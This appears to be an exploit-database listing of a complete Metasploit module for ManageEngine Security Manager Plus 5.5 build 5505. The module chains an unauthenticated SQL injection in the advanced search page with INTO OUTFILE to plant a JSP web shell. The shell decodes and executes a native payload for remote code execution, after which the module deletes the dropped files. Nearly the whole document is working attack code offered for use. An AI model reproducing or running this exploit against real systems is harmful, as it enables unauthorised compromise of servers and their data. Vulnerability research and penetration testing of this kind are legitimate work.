ManageEngine Security Manager Plus 5.5 build 5505 SQL Injection



EKU-ID: 2750 CVE: OSVDB-ID: 86562
Author: sinn3r Published: 2012-10-29 Verified: Verified
Download:

Rating

☆☆☆☆☆
Home


##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
#   http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
 Rank = ExcellentRanking

 include Msf::Exploit::Remote::HttpClient
 include Msf::Exploit::EXE

 def initialize(info={})
  super(update_info(info,
   'Name'           => "ManageEngine Security Manager Plus 5.5 build 5505 SQL Injection",
   'Description'    => %q{
     This module exploits a SQL injection found in ManageEngine Security Manager Plus
    advanced search page, which results in remote code execution under the context of
    SYSTEM in Windows; or as the user in Linux.  Authentication is not required in order
    to exploit this vulnerability.
   },
   'License'        => MSF_LICENSE,
   'Author'         =>
    [
     'xistence <xistence[at]0x90.nl>',  # Discovery & Metasploit module
     'sinn3r',                          # Improved Metasploit module
     'egypt'                            # Improved Metasploit module
    ],
   'References'     =>
    [
     ['EDB','22094'],
     ['BID', '56138']
    ],
   'Platform'       => ['win', 'linux'],
   'Targets'        =>
    [
     ['Automatic', {}],
     ['Windows',   { 'Arch' => ARCH_X86, 'Platform' => 'win'   }],
     ['Linux',     { 'Arch' => ARCH_X86, 'Platform' => 'linux' }]
    ],
   'DefaultTarget'  => 0,
   'Privileged'     => false,
   'DisclosureDate' => "Oct 18 2012"))

  register_options(
   [
    OptPort.new('RPORT', [true, 'The target port', 6262])
   ], self.class)
 end


 def check
  res = sqli_exec(Rex::Text.rand_text_alpha(1))

  if res and res.body =~ /Error during search/
   return Exploit::CheckCode::Appears
  else
   return Exploit::CheckCode::Safe
  end
 end


 def pick_target
  return target if target.name != 'Automatic'

  rnd_num   = Rex::Text.rand_text_numeric(1)
  rnd_fname = Rex::Text.rand_text_alpha(5) + ".txt"
  outpath   = "../../webapps/SecurityManager/#{rnd_fname}"

  @clean_ups << outpath

  sqli  = "#{rnd_num})) union select @@version,"
  sqli << (2..28).map {|e| e} * ","
  sqli << " into outfile \"#{outpath}\" FROM mysql.user WHERE #{rnd_num}=((#{rnd_num}"
  sqli_exec(sqli)

  res = send_request_raw({'uri'=>"/#{rnd_fname}"})

  # What @@version returns:
  # Linux   = 5.0.36-enterprise
  # Windows = 5.0.36-enterprise-nt

  if res and res.body =~ /\d\.\d\.\d\d\-enterprise\-nt/
   print_status("#{rhost}:#{rport} - Target selected: #{targets[1].name}")
   return targets[1]  # Windows target
  elsif res and res.body =~ /\d\.\d\.\d\d\-enterprise/
   print_status("#{rhost}:#{rport} - Target selected: #{targets[2].name}")
   return targets[2]
  end

  return nil
 end


 #
 # We're in SecurityManager/bin at this point
 #
 def on_new_session(cli)
  if target['Platform'] == 'linux'
   print_warning("Malicious executable is removed during payload execution")
  end

  if cli.type == 'meterpreter'
   cli.core.use("stdapi") if not cli.ext.aliases.include?("stdapi")
  end

  @clean_ups.each { |f|
   base = File.basename(f)
   f = "../webapps/SecurityManager/#{base}"
   print_warning("#{rhost}:#{rport} - Deleting: \"#{base}\"")

   begin
    if cli.type == 'meterpreter'
     cli.fs.file.rm(f)
    else
     del_cmd = (@my_target['Platform'] == 'linux') ? 'rm' : 'del'
     f = f.gsub(/\//, '\\') if @my_target['Platform'] == 'win'
     cli.shell_command_token("#{del_cmd} \"#{f}\"")
    end

    print_good("#{rhost}:#{rport} - \"#{base}\" deleted")
   rescue ::Exception => e
    print_error("Unable to delete: #{e.message}")
   end
  }
 end


 #
 # Embeds our executable in JSP
 #
 def generate_jsp_payload
  opts                = {:arch => @my_target.arch, :platform => @my_target.platform}
  native_payload      = Rex::Text.encode_base64(generate_payload_exe(opts))
  native_payload_name = Rex::Text.rand_text_alpha(rand(6)+3)
  ext                 = (@my_target['Platform'] == 'win') ? '.exe' : '.bin'

  var_raw     = Rex::Text.rand_text_alpha(rand(8) + 3)
  var_ostream = Rex::Text.rand_text_alpha(rand(8) + 3)
  var_buf     = Rex::Text.rand_text_alpha(rand(8) + 3)
  var_decoder = Rex::Text.rand_text_alpha(rand(8) + 3)
  var_tmp     = Rex::Text.rand_text_alpha(rand(8) + 3)
  var_path    = Rex::Text.rand_text_alpha(rand(8) + 3)
  var_proc2   = Rex::Text.rand_text_alpha(rand(8) + 3)

  if @my_target['Platform'] == 'linux'
   var_proc1 = Rex::Text.rand_text_alpha(rand(8) + 3)
   chmod = %Q|
   Process #{var_proc1} = Runtime.getRuntime().exec("chmod 777 " + #{var_path});
   Thread.sleep(200);
   |

   var_proc3 = Rex::Text.rand_text_alpha(rand(8) + 3)
   cleanup = %Q|
   Thread.sleep(200);
   Process #{var_proc3} = Runtime.getRuntime().exec("rm " + #{var_path});
   |
  else
   chmod   = ''
   cleanup = ''
  end

  jsp = %Q|
  <%@page import="java.io.*"%>
  <%@page import="sun.misc.BASE64Decoder"%>

  <%
  byte[] #{var_raw} = null;
  BufferedOutputStream #{var_ostream} = null;
  try {
   String #{var_buf} = "#{native_payload}";

   BASE64Decoder #{var_decoder} = new BASE64Decoder();
   #{var_raw} = #{var_decoder}.decodeBuffer(#{var_buf}.toString());

   File #{var_tmp} = File.createTempFile("#{native_payload_name}", "#{ext}");
   String #{var_path} = #{var_tmp}.getAbsolutePath();

   #{var_ostream} = new BufferedOutputStream(new FileOutputStream(#{var_path}));
   #{var_ostream}.write(#{var_raw});
   #{var_ostream}.close();
   #{chmod}
   Process #{var_proc2} = Runtime.getRuntime().exec(#{var_path});
   #{cleanup}
  } catch (Exception e) {
  }
  %>
  |

  jsp = jsp.gsub(/\n/, '')
  jsp = jsp.gsub(/\t/, '')

  jsp.unpack("H*")[0]
 end

 def sqli_exec(sqli_string)
  cookie  = 'STATE_COOKIE=&'
  cookie << 'SecurityManager/ID/174/HomePageSubDAC_LIST/223/SecurityManager_CONTENTAREA_LIST/226/MainDAC_LIST/166&'
  cookie << 'MainTabs/ID/167/_PV/174/selectedView/Home&'
  cookie << 'Home/ID/166/PDCA/MainDAC/_PV/174&'
  cookie << 'HomePageSub/ID/226/PDCA/SecurityManager_CONTENTAREA/_PV/166&'
  cookie << 'HomePageSubTab/ID/225/_PV/226/selectedView/HomePageSecurity&'
  cookie << 'HomePageSecurity/ID/223/PDCA/HomePageSubDAC/_PV/226&'
  cookie << '_REQS/_RVID/SecurityManager/_TIME/31337; '
  cookie << '2RequestsshowThreadedReq=showThreadedReqshow; '
  cookie << '2RequestshideThreadedReq=hideThreadedReqhide;'

  state_id = Rex::Text.rand_text_numeric(5)

  send_request_cgi({
   'method'    => 'POST',
   'uri'       => "/STATE_ID/#{state_id}/jsp/xmlhttp/persistence.jsp",
   'headers'   => {
    'Cookie' => cookie,
    'Accept-Encoding' => 'identity'
   },
   'vars_get'  => {
    'reqType'    =>'AdvanceSearch',
    'SUBREQUEST' =>'XMLHTTP'
   },
   'vars_post' => {
    'ANDOR'       => 'and',
    'condition_1' => 'OpenPorts@PORT',
    'operator_1'  => 'IN',
    'value_1'     => sqli_string,
    'COUNT'       => '1'
   }
  })
 end

 #
 # Run the actual exploit
 #
 def inject_exec(out)
  hex_jsp = generate_jsp_payload
  rnd_num = Rex::Text.rand_text_numeric(1)
  sqli  = "#{rnd_num})) union select 0x#{hex_jsp},"
  sqli << (2..28).map {|e| e} * ","
  sqli << " into outfile \"#{out}\" FROM mysql.user WHERE #{rnd_num}=((#{rnd_num}"

  print_status("#{rhost}:#{rport} - Trying SQL injection...")
  sqli_exec(sqli)

  fname = "/#{File.basename(out)}"
  print_status("#{rhost}:#{rport} - Requesting #{fname}")
  send_request_raw({'uri' => fname})

  handler
 end


 def exploit
  # This is used to collect files we want to delete later
  @clean_ups = []

  @my_target = pick_target
  if @my_target.nil?
   print_error("#{rhost}:#{rport} - Unable to select a target, we must bail.")
   return
  end

  jsp_name  = rand_text_alpha(rand(6)+3)
  outpath   = "../../webapps/SecurityManager/#{jsp_name + '.jsp'}"

  @clean_ups << outpath

  inject_exec(outpath)
 end
end